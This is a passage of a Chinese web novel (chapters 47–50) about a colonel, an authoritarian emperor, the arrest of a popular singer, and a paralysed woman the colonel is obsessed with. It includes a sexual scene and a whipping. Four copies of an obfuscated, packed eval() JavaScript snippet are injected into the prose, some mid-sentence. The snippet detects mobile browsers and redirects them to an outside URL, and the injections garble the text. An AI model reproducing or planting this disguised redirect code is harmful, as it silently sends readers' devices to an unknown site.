温蓓和祝译喝酒比较多,两个人都需要搀扶才能回到车上,在离别之际,祝译忽地用力抓住了苍恃的衣袖,她力气很大,苍恃不得不弯下腰来。 祝译把嘴唇凑到他的耳边,虽带着醉意,说出来的话又无比清醒。 “这样也很好,不是吗?就算她是皇帝派来的人又如何,难道你没发现你今天比之前都要放松吗?” “忘记她吧,她的存在只会伤害你。” 苍恃一怔,正想要说话却被祝译一把推开,她开始说着胡话,倒在车里不成样子,纪栖连忙帮她向苍恃道歉,又赶着帮祝译系安全带,两个人就这么手忙脚乱地走了。 温蓓安静地站在一旁等着,她眼睛水润润的,乖巧又温柔,刚才祝译想说什么她是无从得知,但温蓓觉得对于自己来说应该是个好消息。 在回去A区的路上,温蓓哼着一首流行歌曲,她声音好听,哼起歌来也别有一番风味。 苍恃鬼使神差地问:“这是什么歌?” “是殷肆的热单,才出一个月呢,现在电台到处都在放。”温蓓大声地唱了起来。 怎么又是殷肆。苍恃暗自想着,殷肆的影响力真是出人意料的大,而且这个人竟然还有空兼顾反抗军的工作和歌手的生活,苍恃都有些佩服他了。 没过多久粉丝应该就会发现殷肆失踪了,等到那个时候说不定真会引起动荡。 被设置了自动驾驶的车子在高速路上穿梭,苍恃单身撑着头,他静静听着温蓓跟唱电台里的舒缓情歌,在酒精的作用下,他也变得有些晕乎乎。 唱着唱着,温蓓的声音越来越小,等苍恃反应过来的时候,她已经闭上眼睛睡着了,娇嫩的嘴唇微微张开,露出了洁白的牙齿。 直到车辆到达公寓楼下,她都没有醒来的迹象。 苍恃只好先行下车,他靠着车身,抬头看向夜空,今天夜里的星星特别闪亮,点缀在夜空里像是一颗颗钻石,在等了一段时间后,温蓓揉着眼睛从车里出来了。 “你怎么不叫醒我?”她的声音还带着睡意,说起来话黏糊糊的。 “没关系。” “好吧,”温蓓乖顺地点头,“谢谢你。” 她拿着自己的包,有些摇晃地往公寓门口走去,然后又突然想起了什么,她转过身来看向苍恃。 “我把照片发你。”她说的照片是四个人在吃饭时候拍的合照,苍恃本来不太乐意,但总不能扫兴,于是只能听话地拍了照片,那张照片存在温蓓的手机里,大家都还没看过。 “苍恃,”她第一次直呼了他的名字,“我们以后还能这样出去玩吗?” 她这话说得郑重,一扫刚才的困意,苍恃想起来祝译临别之际说的话语,温蓓是个好人,她和槐翎不一样。 “好。”苍恃点头。 在得到这个回答后,温蓓笑了起来,这笑容真挚,没有一点算计,没有一点矫揉做作,她举起手机,在上面是她刚刚发出的照片,在照片里,他们四个人站成一排,背景是河流与桥,祝译和纪栖站得很近快要贴在一起,温蓓背靠苍恃,她笑容甜美,漂亮得像只小鹿,而苍恃虽然在面对摄像头有些拘谨,也还是露出了淡淡的笑容。 * 他驱车前往宫殿,想起自己的换洗衣物还放在休息室,得拿回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565454|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里洗干净才行。 夜里的宫殿静悄悄的,除了巡逻的卫兵没几个人出现,他走路很快,还带着些许酒气,卫兵也只礼貌地敬礼,并未搭话。 毕竟现在时候不早,他的动作比平日要快上不少,把衣物带上之后他走了条捷径,走捷径的话能省去一半去大门的路程。 然而出乎意料的是,在这个时刻外面的宫殿竟然还有人。 苍恃不由自主地放慢了脚步,他转头往花坛看去,果真又看到了那群侍女,她们坐在花坛旁边做手工活,聊着些家庭琐事。 他不受控制地去搜索她的身影,果真在花坛的另一边看到了侧躺着的槐翎,她穿了一条浅色睡裙,闭上眼睛像是睡着了,没有绑起来的长发披散在她的身上,鲜艳得像是束缚她的红线,在她白皙的皮肤上分外明显,她呼吸匀称,睫毛纤长,微微张开了嘴唇,嘴唇看上去柔软又甘甜。 侍女似乎是才意识到有点晚了,她们慌慌张张地收拾手头的东西,一个做事情毛躁的侍女用力把她架起来,又因为力气不够,差点让她摔到地上,另一个侍女见状也来帮忙,两个人合力把她放在轮椅上,然而就在侍女们忙着收拾的时候,没有一个人注意到槐翎卷起来的裙子,正巧露出了她只穿着贴身衣物的身体。 站在远处的苍恃连忙别过脸,他感觉自己像是站在那里就做了一场梦,这场梦短暂又美好,他的脸不受控制地红了起来。 他想要忘记,但刚才的画面却一直在他的脑海里回荡。 苍恃几乎是落荒而逃,而杜山也在巡逻的时候注意到了在偷看的他,他面无表情,眼里满是寒意。 等回到公寓时,苍恃看向那被他锁起来的次卧,或许是酒精作祟,或许现在他还保有理智,总之,他在半梦半醒之际打开了次卧的门,里面还留有属于槐翎的淡淡的味道,他环顾四周,房间已经被他收拾过。 他却仍不死心,走进了浴室,在洗发水和沐浴露的香甜味道里,他发现了一件被遗漏在角落的衣物。 衣物的主人或许是个坏心眼的人,恶作剧一般把它留在这里,就等待着苍恃哪天发现。 他弯腰捡起那衣物,在盯着它看了好一会后,他不由自主地把它放在自己的面前,深深地吸了一口。 那是槐翎的味道,虽然已经过去好多天,上面的味道依旧浓郁,这件衣物曾经没有阻碍地贴紧槐翎的身体,上面还留有轻微的汗味,和沐浴露的甜味混杂在一起,苍恃又想起来刚刚看到的画面。 他感觉自己的理智在这一刻全部消失了,他觉得这一定是酒精在作祟,他清楚自己的酒量一直不好,于是在此时,他只想把自己的身体交给本能。 他轻轻喘着气,心里的恶魔低声说:只要乱来一次便足够了。 他透过镜子看到眼神迷离的自己,头发凌乱,脖子的青筋冒起,又看到全身紧绷起来的肌肉,现在的他浑身都被汗浸湿,在心里呐喊:这副模样真是丢人又难看。 但是此时他又生出了别样的情绪,如果让她知道了,她会有怎样的反应? 是会训斥他,还是会像之前那样打他? 就当他沉浸在幻想时,所有的邪-念在此刻得到了释放,他的心脏狂跳快要失去秩序,他失神地看着自己,后知后觉自己做了不可被饶恕的事情。 48. 第 48 章 在平静了几日后,苍恃和杜山等人收到了晋升的通知,按理说杜山是不用再留在宫殿巡逻了,不过他还是非常坚持,没有搬出休息室的打算。 杜山和苍恃在宫殿外缘散步时,他注意到苍恃的兴致不高,在拿到文书时表情也没什么变化,倒是一脸心事重重。 “你年纪轻轻做到这个位置已经超越了大部分人。”杜山简单直接地说道,“你最近的状态不对。” 苍恃避开杜山的眼神接触,他这几天都在公寓里,温蓓找过他几次都没成功,气得温蓓连发了数十条信息斥责他是骗子。 谁也不知道他这几天躲在家里都在做什么,但皇帝能平静那么久显然不正常,这会二人都收到了来自办公室的召唤,看来又得忙上一阵子了。 “就在刚才,网络公布了殷肆被逮捕的消息。”杜山平静地举起手里的手机,新闻下面瞬间涌现了百万条评论,下一秒整个新闻平台都崩溃了,再也进不去。 “看来我们又要忙了。” 苍恃想起来殷肆庞大的粉丝数量,恐怕这件事没那么简单就能平息。 他跟着杜山来到大殿,除了他们之外还有几个官员,苍恃认出来有几个是来自网络安全那边的人,还有两个媒体集团的负责人,他们的脸经常出现在新闻里,所以很容易认出来。 他们都战战兢兢的,显然是经过了皇帝的一顿质问。 “无论如何我们都会控制舆情,这件事为什么会泄露出去,我们也会进行追查。”网络安全部门的负责人拿出手帕擦去额头的冷汗,旁边那人的头也深深地低下去,直到皇帝息怒前都不敢抬起。 “我们会用别的新闻把这件事压下去,消息源头也被我们删除了,不过因为影响力很强,网民都截图并四处传播,恐怕再这样下去所有人都会知道这件事。”媒体集团的负责人也不敢多说话,生怕惹得皇帝不愉快。 “看来我们这里面有内鬼。”杜山冷眼旁观了一会,说出了自己的看法,槐迩当然是听到了他的话语,这句话无疑是火上浇油,他把手边的东西统统扔了出去,好几样都掉在了跪下的负责人脚边,他们不敢动弹,身体瑟瑟发抖。 “只要是和他相关的帖子都禁止传播,我要这个人从这个世上消失。”槐迩毫不犹豫地说道,下面的人暗叫不好,但也只能咬牙应下。 作为一个世界级的歌手,他的音乐作品和影视作品都是极其受欢迎的,要是从网络上彻底让这个人消失几乎是不可能,只要还有一个人记得殷肆,殷肆就不会被消失。 更何况他的粉丝还是以千万计算的,他客串的电影才刚刚上映。 苍恃想到那天见到的导演和演员,恐怕他们辛苦拍的电影就要因为殷肆被封锁了。 “杜山,你去把内鬼找出来。” “是,陛下。”杜山一口应下。 那天殷肆在E区被抓,还在大殿和皇帝见面,接触到的人太多,一时半会也不能确定内鬼是谁,恐怕杜山得花些时间了。 皇帝心情不好,把所有人都赶走了。 苍恃跟在杜山身后走回办公室,因为是白天,能看到不少的卫兵和侍女四处走动,本来要在宫殿内部保守秘密就不容易,在这里走过的每一个人都有泄密的可能性。 杜山估计也是这么想的,他用锐利无情的双眼在每一个看到的人脸上停留一阵子,无一例外地看到的都是对他的恐惧,但这都是比较普遍的,目前为止也没看到什么特别的反应。 “你怎么想?”杜山冷不防问道。 “这事只能秘密进行,否则就打草惊蛇了。” “你觉得那个人把这件事公布出去,是想得到什么?”杜山反问。 “利用殷肆的影响力。”苍恃如此说道。 “那个人很有可能是反抗军的残党。”杜山点头,“或者另外一个可能性,殷肆自己就是那个泄露信息的人。” 苍恃愣了一下,不过很快便反应过来,“的确有这个可能性。” 事先设置好自动发布的程序,只要哪一天殷肆没有活动或者出现,这个程序就会把按照他的设置在网络发布信息,根据殷肆的影响力一发布出来就能获得关注,就算有人认为这不过是谣言,结合失踪多天的殷肆就能很快证明信息的真实性。 明星的行程不算是秘密,到哪里都会有粉丝,他能在E区多年不暴露也是多亏了E区的黑暗,E区的人是绝对不会传播殷肆身份的。 况且E区才被这样浩浩荡荡的“清扫”过,本来引起的议论就很大,民众对政-府这样粗暴的处理方式也有不满。 苍恃还在消化杜山的话,注意力都在这件事上,抬头便看见道路的另一边走来一批侍女,被她们簇拥在中间的是轮椅上的槐翎,她抬着头,眼睛虽然是睁着的但里面没有一丝光芒。 苍恃冷不防和她对上了眼睛,虽已尽力装作若无其事,但他紧绷的身体暴露了他内心的想法。 “少将,上校。”侍女们纷纷停下来为他们让路。 杜山自然没有忽略苍恃的反应,他锐利的目光像是一把刀剖开了苍恃的伪装,那双深邃的眼睛里竟然满满都是情-欲,赤-裸-裸地不加以任何掩饰,不,他是想要伪装的,但伪装太过拙劣,只要稍稍注意点就能发现这不自然的点。 杜山极快地看了眼槐翎,她确实有能够让男人神魂颠倒的本事,但苍恃作为皇帝的爪牙,是绝对不能被这种事影响的,更何况现在的槐翎是皇帝的人了。 等到二人走过后,侍女们才继续往前行走,苍恃听着轮椅的声音,心不在焉地继续跟着杜山。 * 政-府想要压下殷肆这件事的行动起到了反效果。 越是删除,群众越想要传播,虽然已有数十万个账号被封禁,针对殷肆的讨论度却不降反增,他的粉丝甚至自发形成了为他辩护的组织,狂热得让人好奇这些人是不是真的如此爱殷肆。 有些胆子大的还会在所在区内的政-府-部-门进行抗议,要求他们尽快释放殷肆,官员们生怕和这件事扯上什么关系,都纷纷转而在家办公,是连家门都不敢出了。 B区算是相对平和的区域,居民都是有头有脸的人物,自己的生意和事业也离不开政-府的扶持,他们就算有再多不满也不会公开反对,不过□□的封禁手段的确影响到他们的公司集团,B区的部门也收到相关的抱怨。 苍恃这段时间也多了很多人来问他关于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575225|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷肆的事情,他全都没有理会,尤其是温蓓,甚至气得就要找他本人质问。 他也只好躲在办公室里,专心致志投入找内鬼这件事,不过杜山说过,这个任务是皇帝指派给他一个人的,苍恃最好不要插手。 被从办公室撵走的苍恃只好过上了休假的日子。 他在回家的路上想起来那空空如也的冰箱,于是改道往最近的商场开去,A区的商场几乎都是空的,因为不愿有别的区的人进入,更没有什么店员存在,全部都经由机器完成,要说想要看到点人的话还得去B区。 他快速地购置了些食品,在结账的时候遇到了同来购物的祝译。 她恢复了平日的模样,脸色苍白,整个人没什么精气神,不过在看到苍恃的时,她露出了笑容,自然地邀请苍恃一起喝下午茶。 苍恃记得A区的官员都是在加班工作的,怎么祝译还能这么悠闲出来购物。 祝译点了一杯咖啡,在加了大量的砂糖后她有规律地搅动咖啡,并未急着喝下去。 咖啡厅里也没什么人,苍恃只要了一杯水,许是他脸上的疑问过于明显,祝译苦笑着开始解释。 “我的职位加班也没什么用。”她说得够直接,于是苍恃马上就反应过来,祝译似乎是被边缘化了,对于祝译这样自尊心强的人来说,她应该很痛苦。 “我都工作三年了,还是这副样子。”祝译喝了一口咖啡,脸上的疲惫有所减轻,“不管我做了什么事情,上级就把我看成一个透明人,有时候在想,我是不是真的那么无能。” “不是的。”苍恃摇头,不过他没懂祝译那边是怎么个运作,只能说出干巴巴的话来安慰她来。 “不说我的事了,也没什么意思。”祝译放下杯子,她撑着脸饶有兴致地在苍恃脸上看来看去,“你和温蓓怎么样了?” “不怎么样。”他回答得过于干脆,祝译叹了口气,看样子也知道会是怎样的结局了。 “现在这个局势动荡得很,皇帝虽重用你,但没有根的你在A区不能完全信任。” 苍恃沉默了,他当然知道祝译说的话是什么意思,但是不喜欢就是不喜欢,他做不到辜负他人感情的事情。 “你也是上校了,以后要面对的挑战只会比这个更大。”祝译又劝道。 原本正在播放电视剧的电视突然发出了警告,插播了一条突发新闻,二人的注意力瞬间被电视夺去。 “此时,C区和D区正在暴动,大量民众包围了政-府大楼,他们高举释放殷肆的牌子,因为人数太多,通往大楼的主干道都被堵塞,预估这场暴动将会持续至夜晚,目前交警正在尽力疏散堵塞的车辆,确保交通顺畅。” 与此同时,苍恃的联络设备突然响了起来,这个提示音和平日的完全不一样,苍恃马上明白过来这是皇帝发来的直接联络。 祝译瞬间便意识到这个声音的特殊性,她在苍恃站起来的那一瞬间抓住了苍恃的手腕,她力气很大,连指节都发白了。 她额间流下一滴冷汗,说出来的话似是从牙齿间挤出来的。 “所以,接下来你要一一去镇压他们,从E区开始,把战争与悲伤带到这个国家每一个角落吗?” 49. 第 49 章 我不得不去。 苍恃没能把这句话说出口,他抿紧嘴唇,用力掰开祝译的手,祝译愣在了原地,因为悲伤,她整个人摇摇欲坠,好像下一刻就要倒下。 “这场火迟早会烧到我们身上的。”她吼了出来,其他人都惊讶地看向她,但祝译置若罔闻,电视上的新闻还在播放C区和D区的实况,聚集的人群越来越多,黑压压的一片快要占据整个画面。 苍恃以最快的速度回到宫殿,槐迩已在大殿等待许久。 槐迩的心情肉眼可见的不好,在看到苍恃时,他缓缓从大殿的高处走下来,直到来到苍恃的跟前。 他虽身穿定制的长袍,看上去却像是被这身长袍所压着,整个人显得既疲惫又苍老。 苍恃很少有机会这样近距离地见到槐迩,他垂下眼眸未敢直视,等待槐迩发出指令。 “这个国家需要肃清。”槐迩说。 E区是不一样的,它不重要,是回收社会渣滓的垃圾桶,所以可以随意践踏,里面的人也不重要,反正他们的存在只会危害社会。 因为有了E区,大家都知道必须要努力工作生活,不然他们会掉到E区这个深渊,再也爬不出来。现在E区消失了,大家都在担心谁会成为下一个E区,自己也是不是会和E区一样被放弃? 但是别的区里面有着无数无辜的人,他们承担了社会运作的职能,一旦CD区停摆,这个国家将会停止发展的脚步。 只有B区和A区的社会一无是处,这是连小孩子都明白的道理。 殷肆不只是一个歌手,他是不是真的为反抗军的一员并不重要,现在的他是一个导火索,让反抗军的存在被放在桌面上,他将利用他的影响力把这火焰烧到每一个角落。 “不可以。”苍恃摇头。 祝译说得对,这个国家不能承受再多的伤亡了。 槐迩瞬间变了脸色,他狠狠瞪着苍恃,眼里满是杀意。 “你的意思是要违抗我的命令?” “陛下,就算镇压民众,也不会取得您想要的结果。”苍恃郑重地说道,他抬起头来,第一次直视了眼前的槐迩,原来高高在上的皇帝在这个时候看上去也不过是一个普通人。 “把鞭子拿来。”槐迩向旁边的侍女说道,侍女吓了一跳,哆哆嗦嗦地应下,然后从王座的旁边拿出一根深棕色的鞭子。 她用双手把鞭子呈给槐迩,槐迩接过鞭子,鞭子有一米多长,尖端极细,锋利得像是刀刃。 “其他人都退下。”槐迩的话语就像是天神的愤怒,大殿里的卫兵和侍女都在下一刻全部离开,大殿的大门也被从外侧关上,所有人都清楚听见了上锁的声音。 “我是那么的信任你,把你留在身边,而你却是这样报答我的,苍恃啊苍恃,你以为你已经强大得可以违抗我了吗?”槐迩拿着鞭子绕到苍恃的身后,他解开袖口,露出精壮的手臂。 苍恃只站在原地,并未回话。 他这副模样却能极大地激怒槐迩,槐迩高高抬起鞭子,朝着苍恃的背后挥去,伴随鞭子击破空气的声音,就锋利的鞭子在落到背部的那一瞬间便破开了衣物和皮肤,在他的背后留下了一道鲜血淋漓的伤口。 苍恃一声不吭,双手握拳,但背后传来的痛楚让他有了一刹那间的恍惚。 “你以为你这样做,槐翎会对你改观吗?你看她的眼神从来都不清白,我看得比谁都要清楚,你以为自己隐藏得很好吗?那场宴会不仅是对她的羞辱,还是对你的羞辱,看啊,这就是你亲手犯下的罪行,把喜欢的女人送到我的身边,你甚至没有带她离开的勇气!” 第二鞭落下,比起伤口更疼的是槐迩的话语,他说得一点都没有错,正是因为都是正确的,才让苍恃感觉到痛彻心扉。 “但是她从未正视过你一眼,不然你怎么会被她放弃?你就像是一个被玩腻了的玩具,现在铆足了劲想要获得她的关注。你爱她,爱她的美丽,爱她的强大,爱她的出色,爱她的特立独行;又恨她,恨她的冷漠,恨她的无情,恨她的高贵,恨她的目中无人!苍恃啊,现在的你看上去实在太过可怜,连我这样的人都想为你流泪!” 等待他的是第三鞭,槐迩喘着粗气,每一鞭他都用尽了全力,苍恃脸色苍白,身上出了一层薄汗,尽管如此,他还是没有溢出任何惨叫与求饶声。 “当初被家人推上开往E区的单向列车时,他们早就知道你的这份善意迟早会害死其他人,这是何等理智又正确的决策!你一无所有,你无依无靠,只有我知道你的价值,而善待你的我却得不到你的爱戴和一丝尊重,你难道还没有发现,你的手上都是为我而沾上的鲜血吗?无论是其他国家的血,还是这个国家的血,你都洗不掉了,你的身子早就埋在泥沼里面,任谁都没办法拯救你。” 槐迩疲惫地扔下沾满血迹的鞭子,他气得脸部通红,后退了几步靠着墙壁,趁着这个机会调整了自己的呼吸,才渐渐恢复平静。 苍恃咬紧牙关,痛楚使得他几乎要晕过去,但意志力使得他强行撑了下来,他半跪着,并未有半分屈服。 现在他的后背已是鲜血淋漓,血液流了下来落在地板上,发出滴滴答答的声音,晕出了一片由血液制成的画。 “给我滚出去。”槐迩指向大门,他声音不大,却依旧有力。 苍恃重新站起来,他摇摇晃晃地往外面走去,每走一步就留下一个带着血的脚印,这段路走得煎熬又漫长,外面的阳光实在是过于刺眼,他只能低头行走,失血带来的眩晕和失重让他连走直线都变得无比困难。 卫兵和侍女都看到了他这副模样,但没有人敢上前帮助他,皇帝是动怒了才会亲自实施鞭刑,而在这里的每一个人都没有勇气忤逆皇帝的意志。 他的每一步都足够艰难,汗水流到伤口,让他觉得疼痛又痒,只要稍稍牵扯到伤口又会疼得让他呼吸困难,苍恃就这么一直向那个目的地走去。 那个被茶树包围的,时常能闻到花草香味的庭院,在那里有他想见的人。 一串血色的脚印从大殿一直延伸到庭院,正午的阳光正猛烈,卫兵和侍女都避之不及,他们不明白为什么苍恃要往庭院里去,在那里除了那个女人之外什么都没有。 原本还在欢笑的侍女们在看到鲜血淋漓的苍恃后纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582270|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔住,她们不明所以地盯着苍恃,而他只是挥挥手让侍女们都离开。 “没有杜少将的命令,我们不能离开她的身边。”其中一个侍女毕恭毕敬地说道。 而苍恃只是不厌其烦地再次重复了自己的要求,此刻的他眼里只有那个坐在庭院中心的身影,但这些烦人的侍女们依旧不愿走开,她们变得警戒,没有了刚才的欢声笑语。 “让他过去。”杜山不知道何时出现在另一面的庭院,他双手背在身后,侍女在看到他时纷纷解除了警戒,没过多久侍女们都退到了远处,庭院里只剩下三人。 “你应该接下任务的,是这个女人让你的判断失误了吗?”杜山来到苍恃的身边,他不是没看到苍恃背上的伤口,但杜山打从心底认为这次是苍恃的错,既然是他的错,这样的伤就应该受着。 苍恃没有回答,杜山叹了口气,看到他这副模样,任谁都不会觉得好受。 于是杜山从腰后拿了一把手枪出来,他把枪口对准槐翎,又极快地取下了保险,右手食指微微用力。 “只要把她杀了就能解决问题了。”杜山看向苍恃,只见原本还是虚弱的他瞬间暴起,他手里藏着一把匕首,在正午的阳光下折射出骇人的冷光,苍恃目露凶光,眼里是从未展现过的杀意。 “你敢。”他龇牙咧嘴,双目猩红,就像是一只护主的野兽。 二人对峙了片刻,最先败下阵的是杜山,他轻笑一声,把武器收回。 “陛下也不让我这么做,但他从不来见这个女人,你们都挺奇怪的。” 尽管杜山率先收回武器,苍恃也并未收起自己的獠牙,他维持着进攻的姿势,把槐翎护在身后,生怕杜山反悔。 “半个小时,在那之后你必须离开。”杜山最终还是妥协了,他虽然不知道苍恃到底想做什么,但既然苍恃拼了命也要来见,他也没有无情到非要阻碍苍恃的程度。 苍恃点头,算是同意了这场交易。 杜山后退了几步,然后转身向那群在远方看热闹的侍女走去,侍女们只能看到个大概,听不到这里发生了什么,看到杜山走过来后她们也就不再八卦了。 得到了珍贵的独处时间后,苍恃无力地坐了下来,手里的匕首也随之掉在草坪上,他失血太多,此时只能感觉到无尽的眩晕,身上的汗液无法停止分泌,直让他浑身发冷。 一旁坐着的槐翎还是安静地倚靠着椅背,她说不了话,也动不了,只有还在活动的眼球代表她还活着。 苍恃小心地来到她身边,谨慎地触碰她的肌肤,见槐翎没有反应,他才大着胆子让自己再靠近些。 而后,他把头靠在槐翎的腿上,又拿过槐翎的手放在自己的头上,她的手是温暖的,能够感觉到体温,就像是过去她曾多次摸过自己的头。 他贪婪地汲取这片刻的平和,舒服地闭上了眼睛,耳边是夏虫的鸣叫,鸟儿扇动翅膀,还有槐翎的心跳声,强壮又有力,就像是永不会熄灭的太阳。 就算只有半个小时也足够了,他所乞求的也就这些。 放在苍恃头上的指尖微微颤动,虽然只有一点,但也心满意足。 50. 第 50 章 槐翎感觉自己做了一场不会醒来的梦,她的身体是那么的温暖,像是在温水里浸泡着,这份久违的温暖让她流连忘返,不愿离开。 她耳边充斥着水流的声音,悦耳动听,时不时还能闻到清新的味道,她能认出来是青草在阳光照射下散发出的大自然的味道。 这场梦过于美好,以至于让她忘记了自己为何会陷入梦境之中,她忘记了自己是谁,忘记了为何在此,也忘记了时间的流动。 “宝贝,过来帮妈妈搭把手。”妈妈如此说道。 她穿了便于行动的牛仔裤,脚边放着几棵茶树苗,手里还拿着一把铲子,旁边是一个刚刚挖开的洞。 槐翎走过去,在妈妈的指示下把茶树苗放进洞里,妈妈把泥土补回去,又浇上水,二人就这么合作把茶树都种了下去。 下午的太阳不算毒辣,微风吹来带走了发间的汗珠。 “你们都在这里啊。”爸爸带着爽朗的笑容走来,他出了一身汗,但还是大大咧咧地把槐翎高高举起,又把槐翎的头按在怀里,槐翎想要拒绝却挣脱不开这样热情的拥抱,她气得满脸通红,爸爸却乐此不疲。 “战争马上要结束了,以后我们在这里的营地就会改造成宫殿,这都是多亏你堂叔的帮忙。” 妈妈微微笑着,她伸手拭去爸爸脸上的汗珠,可是手套早就沾上了泥土,反而让爸爸脸上变得黑乎乎的。 “终于要结束了,这场战争持续了太久,大家都已经累了。” “是啊…以后我家小公主就能开开心心去上学了,你堂哥今天还找我来了,说要跟你一起上学来着。” 槐翎静静听着,嘴角不自觉地上扬。 这样久远的记忆早就被她忘记了,却在这梦里不断轮回,每轮回一次,爸爸妈妈的脸就变得愈发模糊。 这是一个美好的梦,但也终究是梦,梦终有醒来的那一刻。 * “你的意思是,让我潜入然后为她注射这个药剂吗?”祝译睁大了眼睛,她看着前面这个怎么看不正常的苍恃反问。 “你认真的吗?”祝译皱眉,她没有接过那管药剂。 “我有的时候真不理解你在想什么,当初你执意要去护卫队,我已经劝过你不要去;现在你自己把人带回来,又要带走,你知道自己在做什么吗?” “我做了很多错事。”苍恃垂眸,他紧紧拿着药剂,没有勇气直视祝译,语气也闷闷的。 “你应该知道后果吧,不论是你还是她,皇帝只会把你们逼上绝路,而且她真的愿意跟你走吗?” 苍恃的手猛地颤动了一下,他没有回答,不过祝译已经得到答案了。 “你们是走了,可是之后要怎么办?你们要躲起来一辈子吗?以她的性格,她恐怕会把这世界搅得天翻地覆,她就是这样的人哦。” “她要去哪我就去哪。”他这话说得足够自暴自弃,祝译白眼一翻。 “我不想被你拖下水,你找别人吧。” 祝译感觉一团火窝在自己的胸口,她再也没有了谈下去的意愿,迅速结了账后她头也不回就走了,只剩下苍恃一个人在原地。 祝译是午休时间过来和苍恃见面的,匆忙赶回去之后,她只看见忙碌的办公室里大家都忙着手头上的工作,她的工位被埋在文件里,用力拨开才能看得见里面的电脑。 她气喘吁吁的,坐在位置上休息了片刻,开始整理电脑上的文件,然而文件都是绝密的,她甚至连碰的资格都没有。 旁边工位的男性看了她一眼,眼疾手快地把祝译手上的文件夺走,他扶了扶眼镜,无神的眼睛看上去令人生畏。 “你不能碰这些文件。”他清了清嗓子,“我们都口渴了,你去买些咖啡回来。” 祝译抿紧嘴唇,这样的话语几乎每天都能听见,现在再听只觉得麻木。 她点头,迅速拿出笔记本开始逐一记录大家的订单,她点头哈腰,面带笑容,把笔记本写得满满的,前面数十页几乎都是一样的内容。 她来到楼下的咖啡厅,熟练地在机子里输入咖啡的种类和数量,在等待咖啡完成的时候,祝译抬头看了眼湛蓝的天空,天空一望无际,而她的人生已经能看到未来数十年的终点。 想当初,她是以最好的成绩毕业的,还在学院里做优秀毕业生演讲,一时间风头无两,毕业后她满怀热情一头扎进了政-治这条路。 祝译的母亲只带着微笑,说自己会支持祝译的想法,就算祝译不工作也没关系,她积累的财富足够祝译花好几辈子。 祝译当时还不了解母亲的用意,头脑一热就义无反顾地在职场内横冲直撞,和在学院里不一样,优秀是不会获得赏识的,只会被远离。 她凭借自己的生活经验和学来的知识撰写了好几份报告,上面都详细列出了这个国家目前遇到的挑战,还有她提出的解决方法,在模型计算下相对真实的演算结果,但这些报告,恐怕都没有被上级打开过。 在那之后,她不被批准参加任何会议,她只能等在外面,为其他人打杂,打印、买东西、甚至是帮忙同事准备午饭。 这样的日子持续了接近三年,祝译只觉得所有的热情都燃尽了,她不再期待工作日,不再想踏入这个办公室,在这个办公室里没有人把她当成一个独立个体来尊重,她就像是桌面上的盆栽,只要快死掉的时候才会获得一些关注。 还会假惺惺地收到一句:“你怎么会变成这样了呢?” 电视里正在报道最新的要闻:“关于殷肆的犯罪事实……将会针对殷肆的人际圈进行全面调查……冻结与他有往来的账户……必要时将会采取特殊手段……” 咖啡做好了,祝译闻到浓烈的香味,她熟练地为每个咖啡都包好,稳稳当当地放在袋子里。 等她拿到沉甸甸的咖啡时,她再次抬头看了眼天空,阳光刺眼得让她睁不开眼。 她其实是很羡慕槐翎的,槐翎是一个想要做什么就会去做的人,要是把她换到祝译如今这个境地,她恐怕只会拍着桌子让其他人都滚出去吧。 但是她不一样,祝译觉得自己是一个懦弱的人,她和母亲相依为命,能有今日的生活都是母亲不眠不休消耗生命换来的,她承担不起出错的后果,她的人生也不能有任何污点。 理想和现实相差还是有些远的。祝译苦笑,拿着咖啡回到了办公室。 她还记得大家点了什么样的咖啡,一一拿出来摆在他们的桌子上,然而没有人抬头看她一眼,分发完毕后,祝译安静地坐在自己的位置上,打开电脑,看着空空如也的电脑桌面,她一言不发。 她打开手机,发给纪栖的信息还停留在早上八点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591347|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【手术加油。】 纪栖很忙碌,几乎没什么时间回复信息。 祝译是理解的,她定睛看了自己发出的信息很久很久,久到她长叹了一口气。 时间一点一点流逝,同事还在工作,祝译环顾四周,他们桌面上的咖啡还放在原位,纹丝不动。她拿起包紧紧捏着包带,手心满是汗。 她想告诉大家她就在这里,却没有这个勇气。 